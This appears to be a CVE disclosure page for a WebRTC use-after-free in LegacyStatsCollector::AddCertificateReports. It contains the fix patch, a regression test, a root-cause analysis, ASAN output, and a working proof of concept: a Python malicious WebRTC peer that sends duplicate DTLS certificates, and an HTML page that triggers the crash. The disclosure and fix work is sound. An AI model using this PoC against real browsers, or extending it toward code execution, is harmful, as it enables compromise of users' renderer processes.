CVE-2026-5860
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fpc/legacy_stats_collector_unittest.cc |
modified |
Files Changed
pc/BUILD.gnpc/legacy_stats_collector.ccpc/legacy_stats_collector.hpc/legacy_stats_collector_unittest.cc
Patch
From 731795bab2d89be63e20485407a850173d5d3665 Mon Sep 17 00:00:00 2001 From: Tommi <[email protected]> Date: Mon, 23 Mar 2026 17:29:21 +0100 Subject: [PATCH] Refactor AddCertificateReports to prevent crash When processing certificate stats with duplicate fingerprints, ReplaceOrAddNew would delete the existing stats report that was previously added and pointed to by first_report or prev_report. By adding tracking for duplicate fingerprints we can find the existing report and avoid replacing it. Bug: chromium:486495143 Change-Id: Iabc41ae064476c1e5853cdff1dbbcab449f8df27 Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/459320 Reviewed-by: Evan Shrubsole <[email protected]> Reviewed-by: Henrik Boström <[email protected]> Commit-Queue: Tomas Gunnarsson <[email protected]> Cr-Commit-Position: refs/heads/main@{#47242} --- diff --git a/pc/BUILD.gn b/pc/BUILD.gn index c07cbd3..f2045cb 100644 --- a/pc/BUILD.gn +++ b/pc/BUILD.gn @@ -1461,6 +1461,7 @@ "../rtc_base/system:plan_b_only", "../system_wrappers", "//third_party/abseil-cpp/absl/base:nullability", + "//third_party/abseil-cpp/absl/container:flat_hash_set", "//third_party/abseil-cpp/absl/functional:any_invocable", "//third_party/abseil-cpp/absl/strings", "//third_party/abseil-cpp/absl/strings:string_view", diff --git a/pc/legacy_stats_collector.cc b/pc/legacy_stats_collector.cc index f41de1c..6978f1b 100644 --- a/pc/legacy_stats_collector.cc +++ b/pc/legacy_stats_collector.cc @@ -21,6 +21,7 @@ #include <vector> #include "absl/base/nullability.h" +#include "absl/container/flat_hash_set.h" #include "absl/functional/any_invocable.h" #include "absl/strings/str_cat.h" #include "absl/strings/string_view.h" @@ -792,8 +793,13 @@ StatsReport* first_report = nullptr; StatsReport* prev_report = nullptr; + absl::flat_hash_set<std::string> visited_fingerprints; for (SSLCertificateStats* stats = cert_stats.get(); stats; stats = stats->issuer.get()) { + if (!visited_fingerprints.insert(stats->fingerprint).second) { + break; + } + StatsReport::Id id(StatsReport::NewTypedId( StatsReport::kStatsReportTypeCertificate, stats->fingerprint)); diff --git a/pc/legacy_stats_collector.h b/pc/legacy_stats_collector.h index 25e61ed..f36e509 100644 --- a/pc/legacy_stats_collector.h +++ b/pc/legacy_stats_collector.h @@ -114,6 +114,11 @@ bool UseStandardBytesStats() const { return use_standard_bytes_stats_; } + StatsReport* AddCertificateReportsForTest( + std::unique_ptr<SSLCertificateStats> cert_stats) { + return AddCertificateReports(std::move(cert_stats)); + } + private: // Struct that's populated on the network thread and carries the values to // the signaling thread where the stats are added to the stats reports. diff --git a/pc/legacy_stats_collector_unittest.cc b/pc/legacy_stats_collector_unittest.cc index 63c33ec..f039115 100644 --- a/pc/legacy_stats_collector_unittest.cc +++ b/pc/legacy_stats_collector_unittest.cc @@ -57,6 +57,7 @@ #include "rtc_base/null_socket_server.h" #include "rtc_base/rtc_certificate.h" #include "rtc_base/socket_address.h" +#include "rtc_base/ssl_certificate.h" #include "rtc_base/ssl_identity.h" #include "rtc_base/ssl_stream_adapter.h" #include "rtc_base/system/plan_b_only.h" @@ -1446,6 +1447,21 @@ remote_ders); } +TEST_F(LegacyStatsCollectorTest, + AddCertificateReports_DuplicateFingerprintDoesNotCrash) { + auto pc = CreatePeerConnection(); + auto stats = CreateStatsCollector(pc.get()); + + // Create duplicate fingerprints chain + auto issuer_stats = std::make_unique<SSLCertificateStats>( + "same_fingerprint", "sha-1", "cert_issuer", nullptr); + auto cert_stats = std::make_unique<SSLCertificateStats>( + "same_fingerprint", "sha-1", "cert_leaf", std::move(issuer_stats)); + + // This should not crash (Use-After-Free) + stats->AddCertificateReportsForTest(std::move(cert_stats)); +} + // This test verifies that all certificates without chains are correctly // reported. TEST_F(LegacyStatsCollectorTest, ChainlessCertificateReportsCreated) {
Regression Test / PoC
diff --git a/pc/legacy_stats_collector_unittest.cc b/pc/legacy_stats_collector_unittest.cc
index 63c33ec..f039115 100644
--- a/pc/legacy_stats_collector_unittest.cc
+++ b/pc/legacy_stats_collector_unittest.cc
@@ -57,6 +57,7 @@
#include "rtc_base/null_socket_server.h"
#include "rtc_base/rtc_certificate.h"
#include "rtc_base/socket_address.h"
+#include "rtc_base/ssl_certificate.h"
#include "rtc_base/ssl_identity.h"
#include "rtc_base/ssl_stream_adapter.h"
#include "rtc_base/system/plan_b_only.h"
@@ -1446,6 +1447,21 @@
remote_ders);
}
+TEST_F(LegacyStatsCollectorTest,
+ AddCertificateReports_DuplicateFingerprintDoesNotCrash) {
+ auto pc = CreatePeerConnection();
+ auto stats = CreateStatsCollector(pc.get());
+
+ // Create duplicate fingerprints chain
+ auto issuer_stats = std::make_unique<SSLCertificateStats>(
+ "same_fingerprint", "sha-1", "cert_issuer", nullptr);
+ auto cert_stats = std::make_unique<SSLCertificateStats>(
+ "same_fingerprint", "sha-1", "cert_leaf", std::move(issuer_stats));
+
+ // This should not crash (Use-After-Free)
+ stats->AddCertificateReportsForTest(std::move(cert_stats));
+}
+
// This test verifies that all certificates without chains are correctly
// reported.
TEST_F(LegacyStatsCollectorTest, ChainlessCertificateReportsCreated) {
Original Bug Report
Use-After-Free in LegacyStatsCollector::AddCertificateReports via Duplicate DTLS Certificate Fingerprints Leads to Renderer Remote Code Execution
Use-After-Free in LegacyStatsCollector::AddCertificateReports via Duplicate DTLS Certificate Fingerprints Leads to Renderer Remote Code Execution
Summary
A use-after-free vulnerability exists in WebRTC’s LegacyStatsCollector::AddCertificateReports() that allows a malicious remote WebRTC peer to achieve heap memory corruption in the renderer process. When the remote peer sends a DTLS Certificate message containing duplicate certificates (identical fingerprints), the function’s internal ReplaceOrAddNew() call deletes a StatsReport object while a raw pointer (prev_report) still references it. The subsequent prev_report->AddId() call writes to freed heap memory. Because the freed 40-byte StatsReport object is immediately followed by new heap allocations from AddString() within the same function, an attacker has a realistic heap-spray window for replacing the freed region, potentially escalating from a crash to arbitrary code execution in the renderer process. No user interaction beyond visiting a page is required; the attacker only needs to complete a WebRTC connection from a malicious signaling endpoint.
Bisect
Introducing Commit: d3900296ae4416de2ea21be4548ea4adba8f3280
- Date: 2015-03-12
- Author: [email protected]
- Review: https://webrtc-codereview.appspot.com/47459004
This commit changed AddCertificateReports from using safe std::string identifiers to raw StatsReport* pointers for tracking the previously created certificate report. The vulnerability pattern was preserved through a subsequent refactor in e29352bb34de60bd0a56d4ce46c2ce35ac2b27b4 (2016-08-25, [email protected], https://codereview.webrtc.org/2259283002), which inlined the logic into a single loop using prev_report and first_report raw pointers, the form that exists in the codebase today.
Root Cause
The LegacyStatsCollector::AddCertificateReports() function iterates over a linked list of SSLCertificateStats representing a DTLS certificate chain. For each certificate, it creates a StatsReport keyed by the certificate’s SHA-256 fingerprint and links consecutive reports via an issuer relationship. The function stores a raw pointer prev_report to the report created in the previous iteration.
// third_party/webrtc/pc/legacy_stats_collector.cc
StatsReport* LegacyStatsCollector::AddCertificateReports(
std::unique_ptr<SSLCertificateStats> cert_stats) {
RTC_DCHECK_RUN_ON(pc_->signaling_thread());
StatsReport* first_report = nullptr;
StatsReport* prev_report = nullptr;
for (SSLCertificateStats* stats = cert_stats.get(); stats;
stats = stats->issuer.get()) {
StatsReport::Id id(StatsReport::NewTypedId(
StatsReport::kStatsReportTypeCertificate, stats->fingerprint));
StatsReport* report = reports_.ReplaceOrAddNew(id);
report->set_timestamp(stats_gathering_started_);
report->AddString(StatsReport::kStatsValueNameFingerprint,
stats->fingerprint);
report->AddString(StatsReport::kStatsValueNameFingerprintAlgorithm,
stats->fingerprint_algorithm);
report->AddString(StatsReport::kStatsValueNameDer,
stats->base64_certificate);
if (!first_report)
first_report = report;
else
prev_report->AddId(StatsReport::kStatsValueNameIssuerId, id); // UAF
prev_report = report;
}
return first_report;
}
The critical issue is the interaction between the raw pointer prev_report and the ReplaceOrAddNew() method. When the stats collection already contains a report with a matching fingerprint ID, ReplaceOrAddNew() allocates a new StatsReport, deletes the old one, and replaces the pointer in the collection’s internal list.
// third_party/webrtc/api/legacy_stats_types.cc
StatsReport* StatsCollection::ReplaceOrAddNew(const StatsReport::Id& id) {
RTC_DCHECK_RUN_ON(&thread_checker_);
RTC_DCHECK(id.get());
Container::iterator it = absl::c_find_if(
list_,
[&id](const StatsReport* r) -> bool { return r->id()->Equals(id); });
if (it != end()) {
StatsReport* report = new StatsReport((*it)->id());
delete *it; // deletes the old StatsReport
*it = report;
return report; // returns the NEW report
}
return InsertNew(id);
}
When the certificate chain contains two adjacent certificates with the same fingerprint, the following sequence occurs. In iteration 0, the first certificate with fingerprint X is inserted into the collection, and prev_report is set to point to this new StatsReport object (call it report_A at address 0x...cd0). In iteration 1, the second certificate has the same fingerprint X. The call to ReplaceOrAddNew(X) finds the existing report_A in the collection, allocates a new StatsReport (report_A' at address 0x...f10), deletes report_A, and replaces the pointer in the list. However, prev_report still holds the address of the now-freed report_A. The subsequent prev_report->AddId(...) call dereferences the freed memory, constituting a heap-use-after-free.
The remote certificate chain originates from the DTLS handshake. In OpenSSLStreamAdapter::SSLVerifyCallback(), BoringSSL’s SSL_get0_peer_certificates() returns the raw certificate list exactly as sent by the remote peer, with no deduplication or validation of chain structure.
// third_party/webrtc/rtc_base/openssl_stream_adapter.cc
const STACK_OF(CRYPTO_BUFFER)* chain = SSL_get0_peer_certificates(ssl);
std::vector<std::unique_ptr<SSLCertificate>> cert_chain;
for (CRYPTO_BUFFER* cert : chain) {
cert_chain.emplace_back(new BoringSSLCertificate(bssl::UpRef(cert)));
}
stream->peer_cert_chain_.reset(new SSLCertChain(std::move(cert_chain)));
A malicious remote peer can include the same certificate multiple times in its DTLS Certificate message. The TLS specification does not prohibit this, and BoringSSL does not filter duplicates. The chain is then converted to SSLCertificateStats by SSLCertChain::GetStats(), which also performs no deduplication, and eventually reaches AddCertificateReports() through the call chain PeerConnection::Close() to legacy_stats_->UpdateStats() to ExtractSessionInfo_s().
No effective mitigations exist on this code path. The prev_report and first_report variables are raw StatsReport* pointers without raw_ptr<> (MiraclePtr) protection, as WebRTC third-party code does not use Chromium’s smart pointer wrappers. The StatsCollection stores reports in a std::list<StatsReport*> with no reference counting. All guards on the path are RTC_DCHECK (debug-only, compiled out in release builds). There is no PartitionAlloc bucket isolation for WebRTC’s heap allocations.
Reproduce
The PoC consists of two components: a Python malicious WebRTC peer that sends duplicate DTLS certificates, and an HTML page that connects to it and triggers the vulnerable code path. The Python dependencies can be installed with pip install aiortc aiohttp.
poc_wrtc209_server.py (malicious WebRTC peer)
#!/usr/bin/env python3
"""
Malicious WebRTC peer that sends duplicate DTLS certificates.
This server:
1. Acts as a WebRTC peer with a modified DTLS certificate chain containing
duplicate certificates (same cert as both leaf and chain cert).
2. Provides HTTP signaling endpoints for SDP exchange.
3. When the browser connects and calls close()/getStats(), the duplicate
fingerprint triggers UAF in AddCertificateReports().
"""
import asyncio
import json
import logging
import sys
from aiohttp import web
from aiortc import RTCPeerConnection, RTCSessionDescription
from aiortc.rtcdtlstransport import RTCCertificate, SRTP_PROFILES
from OpenSSL import SSL, crypto
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger("wrtc209")
class MaliciousCertificate(RTCCertificate):
"""
Modified RTCCertificate that adds the same certificate as an extra
chain cert, causing the DTLS Certificate message to contain
[leaf_cert, leaf_cert] - duplicate fingerprints.
"""
def _create_ssl_context(self, srtp_profiles):
ctx = super()._create_ssl_context(srtp_profiles)
# Convert cryptography cert to pyOpenSSL X509 for add_extra_chain_cert
x509_cert = crypto.X509.from_cryptography(self._cert)
# Add the SAME cert as an extra chain cert -> duplicate fingerprint!
ctx.add_extra_chain_cert(x509_cert)
logger.info("Added duplicate cert to chain! Fingerprint will repeat.")
return ctx
# Create malicious certificate
_base_cert = RTCCertificate.generateCertificate()
malicious_cert = MaliciousCertificate(key=_base_cert._key, cert=_base_cert._cert)
# Track active peer connections
pcs = set()
async def offer(request):
"""Handle SDP offer from browser, return answer."""
params = await request.json()
offer_sdp = RTCSessionDescription(sdp=params["sdp"], type=params["type"])
pc = RTCPeerConnection()
# Monkey-patch: replace the auto-generated certificate with our malicious one
# that sends duplicate certs in the DTLS chain
pc._RTCPeerConnection__certificates = [malicious_cert]
pcs.add(pc)
@pc.on("datachannel")
def on_datachannel(channel):
logger.info(f"Data channel '{channel.label}' opened")
@channel.on("message")
def on_message(message):
logger.info(f"Received message: {message}")
@pc.on("connectionstatechange")
async def on_connectionstatechange():
logger.info(f"Connection state: {pc.connectionState}")
if pc.connectionState == "failed":
await pc.close()
pcs.discard(pc)
await pc.setRemoteDescription(offer_sdp)
answer = await pc.createAnswer()
await pc.setLocalDescription(answer)
return web.json_response({
"sdp": pc.localDescription.sdp,
"type": pc.localDescription.type,
})
async def on_shutdown(app):
coros = [pc.close() for pc in pcs]
await asyncio.gather(*coros)
pcs.clear()
# Serve static HTML
async def index(request):
with open("poc_wrtc209_uaf.html", "r") as f:
content = f.read()
return web.Response(content_type="text/html", text=content)
app = web.Application()
app.on_shutdown.append(on_shutdown)
app.router.add_get("/", index)
app.router.add_post("/offer", offer)
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
logger.info(f"Starting malicious WebRTC server on port {port}")
logger.info(f"Certificate fingerprint: {malicious_cert.getFingerprints()[0].value}")
web.run_app(app, host="0.0.0.0", port=port)
poc_wrtc209_uaf.html (victim page, served by the Python server)
<!DOCTYPE html>
<html>
<head><title>AddCertificateReports UAF PoC</title></head>
<body>
<h2>Duplicate DTLS cert fingerprint UAF</h2>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function triggerUAF() {
log('[*] Creating RTCPeerConnection...');
const pc = new RTCPeerConnection();
pc.oniceconnectionstatechange = () => log('[*] ICE state: ' + pc.iceConnectionState);
pc.onconnectionstatechange = () => log('[*] Connection state: ' + pc.connectionState);
// Create data channel to trigger DTLS
const dc = pc.createDataChannel('poc');
dc.onopen = () => log('[+] Data channel opened');
// Create offer
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Wait for ICE gathering to complete
await new Promise(resolve => {
if (pc.iceGatheringState === 'complete') {
resolve();
} else {
pc.onicegatheringstatechange = () => {
if (pc.iceGatheringState === 'complete') resolve();
};
}
});
log('[*] ICE gathering complete. Sending offer to malicious server...');
// Send offer to malicious Python peer
const resp = await fetch('/offer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
sdp: pc.localDescription.sdp,
type: pc.localDescription.type
})
});
const answer = await resp.json();
log('[*] Got answer from malicious peer. Setting remote description...');
await pc.setRemoteDescription(answer);
// Wait for DTLS connection
await new Promise(resolve => {
if (pc.connectionState === 'connected') {
resolve();
} else {
pc.onconnectionstatechange = () => {
log('[*] Connection state: ' + pc.connectionState);
if (pc.connectionState === 'connected') resolve();
if (pc.connectionState === 'failed') resolve();
};
}
});
if (pc.connectionState !== 'connected') {
log('[!] Connection failed');
return;
}
log('[+] DTLS connected to malicious peer (duplicate cert chain!)');
log('[*] Waiting 2s for stats to stabilize...');
await new Promise(r => setTimeout(r, 2000));
// Trigger UAF: close() calls legacy_stats_->UpdateStats() ->
// AddCertificateReports() with cert chain containing duplicate fingerprints
log('[*] Calling pc.close() to trigger AddCertificateReports UAF...');
pc.close();
log('[+] pc.close() called. Check ASAN output for heap-use-after-free!');
}
triggerUAF().catch(e => log('[!] Error: ' + e));
</script>
</body>
</html>
Steps to reproduce
To reproduce, first start the malicious Python WebRTC peer by running python3 poc_wrtc209_server.py 8091. Then launch Chrome built with AddressSanitizer, pointing it to the malicious server: ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome --no-sandbox --disable-gpu --enable-logging=stderr --user-data-dir=$(mktemp -d) http://localhost:8091/. The page automatically creates an RTCPeerConnection, establishes a data channel with the malicious peer (which sends a DTLS Certificate message containing the same certificate twice), waits for the DTLS connection to complete, and then calls pc.close(). The close() method unconditionally invokes legacy_stats_->UpdateStats(), which processes the remote certificate chain through AddCertificateReports(), triggering the heap-use-after-free when the duplicate fingerprint causes ReplaceOrAddNew() to delete the report that prev_report still points to.
ASAN output
==2009869==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b73549e8ce8 at pc 0x7f33b9fac6f1 bp 0x7b325b33edb0 sp 0x7b325b33eda8
READ of size 8 at 0x7b73549e8ce8 thread T9 (WebRTC_Signalin)
#0 0x7f33b9fac6f0 in webrtc::StatsReport::AddId(webrtc::StatsReport::StatsValueName, webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) gen/third_party/libc++/src/include/__tree:950:54
#1 0x7f33ba365afe in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:820:20
#2 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#3 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#4 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#5 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
#6 0x7f33ba0bf8a9 in void absl::internal_any_invocable::LocalInvoker<false, void, webrtc::MethodCall<webrtc::PeerConnectionInterface, void>::Marshal(webrtc::Thread*)::'lambda'()&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/pc/proxy.h:94:5
#7 0x7f336b645e63 in webrtc::ThreadWrapper::RunTaskQueueTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#8 0x7f336b6487bd in base::internal::Invoker<...>::RunImpl<...>() base/functional/bind_internal.h:740:12
#9 0x7f33d3d60c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#10 0x7f33d3de216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#11 0x7f33d3de1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#12 0x7f33d3c033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#13 0x7f33d3de37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#14 0x7f33d3ccb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#15 0x7f33d3e79832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#16 0x7f33d3e79e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#17 0x7f33d3edde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#18 0x561e5dea9316 in asan_thread_start(void*) asan_interceptors.cpp
0x7b73549e8ce8 is located 24 bytes inside of 40-byte region [0x7b73549e8cd0,0x7b73549e8cf8)
freed by thread T9 (WebRTC_Signalin) here:
#0 0x561e5dee5dd2 in operator delete(void*, unsigned long) (chrome+0x6825dd2)
#1 0x7f33b9fad04f in webrtc::StatsCollection::ReplaceOrAddNew(webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) third_party/webrtc/api/legacy_stats_types.cc:837:5
#2 0x7f33ba3659cd in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:805:36
#3 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#4 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#5 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#6 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
#7 0x7f33ba0bf8a9 in void absl::internal_any_invocable::LocalInvoker<false, void, webrtc::MethodCall<webrtc::PeerConnectionInterface, void>::Marshal(webrtc::Thread*)::'lambda'()&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/pc/proxy.h:94:5
#8 0x7f336b645e63 in webrtc::ThreadWrapper::RunTaskQueueTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#9 0x7f336b6487bd in base::internal::Invoker<...>::RunImpl<...>() base/functional/bind_internal.h:740:12
#10 0x7f33d3d60c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#11 0x7f33d3de216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#12 0x7f33d3de1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#13 0x7f33d3c033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#14 0x7f33d3de37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#15 0x7f33d3ccb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#16 0x7f33d3e79832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#17 0x7f33d3e79e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#18 0x7f33d3edde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#19 0x561e5dea9316 in asan_thread_start(void*) asan_interceptors.cpp
previously allocated by thread T9 (WebRTC_Signalin) here:
#0 0x561e5dee51cd in operator new(unsigned long) (chrome+0x68251cd)
#1 0x7f33b9facff6 in webrtc::StatsCollection::ReplaceOrAddNew(webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) third_party/webrtc/api/legacy_stats_types.cc
#2 0x7f33ba3659cd in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:805:36
#3 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#4 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#5 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#6 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
#7 0x7f33ba0bf8a9 in void absl::internal_any_invocable::LocalInvoker<false, void, webrtc::MethodCall<webrtc::PeerConnectionInterface, void>::Marshal(webrtc::Thread*)::'lambda'()&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/pc/proxy.h:94:5
#8 0x7f336b645e63 in webrtc::ThreadWrapper::RunTaskQueueTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#9 0x7f336b6487bd in base::internal::Invoker<...>::RunImpl<...>() base/functional/bind_internal.h:740:12
#10 0x7f33d3d60c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#11 0x7f33d3de216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#12 0x7f33d3de1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#13 0x7f33d3c033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#14 0x7f33d3de37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#15 0x7f33d3ccb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#16 0x7f33d3e79832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#17 0x7f33d3e79e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#18 0x7f33d3edde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#19 0x561e5dea9316 in asan_thread_start(void*) asan_interceptors.cpp
Thread T9 (WebRTC_Signalin) created by T0 here:
#0 0x561e5de8f0d1 in pthread_create (chrome+0x67cf0d1)
#1 0x7f33d3edd54c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f33d3e783b0 in base::Thread::StartWithOptions(base::Thread::Options) base/threading/thread.cc:228:26
#3 0x7f336a8a961e in blink::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:431:32
#4 0x7f336a8a91ae in blink::PeerConnectionDependencyFactory::GetPcFactory() third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:738:5
#5 0x7f336a8b1c62 in blink::PeerConnectionDependencyFactory::CreatePeerConnection(webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, webrtc::PeerConnectionObserver*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:1006:8
#6 0x7f336a984c5e in blink::RTCPeerConnectionHandler::Initialize(blink::ExecutionContext*, webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection_handler.cc:898:50
#7 0x7f336a93e0d7 in blink::RTCPeerConnection::RTCPeerConnection(blink::ExecutionContext*, webrtc::PeerConnectionInterface::RTCConfiguration, bool, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:688:23
#8 0x7f336a93d548 in blink::RTCPeerConnection* blink::MakeGarbageCollected<...>(...) v8/include/cppgc/allocation.h:239:32
#9 0x7f336a93aacb in blink::RTCPeerConnection::Create(blink::ExecutionContext*, blink::RTCConfiguration const*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:611:40
Shadow bytes around the buggy address:
0x7b73549e8a00: f7 fa 00 00 00 00 00 fa f7 fa fd fd fd fd fd fd
0x7b73549e8a80: f7 fa fd fd fd fd fd fd f7 fa 00 00 00 00 00 00
0x7b73549e8b00: f7 fa 00 00 00 00 00 00 f7 fa 00 00 00 00 00 00
0x7b73549e8b80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8c00: f7 fa 00 00 00 00 00 00 f7 fa fd fd fd fd fd fd
=>0x7b73549e8c80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd[fd]fd fa
0x7b73549e8d00: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8d80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8e00: f7 fa fd fd fd fd fd fd f7 fa 00 00 00 00 00 00
0x7b73549e8e80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8f00: f7 fa 00 00 00 00 00 fa f7 fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==2009869==ABORTING
Tested on Chromium at commit f51a685e768b632262beaf8bd95387fffe096655.
Credit
c6eed09fc8b174b0f3eebedcceb1e792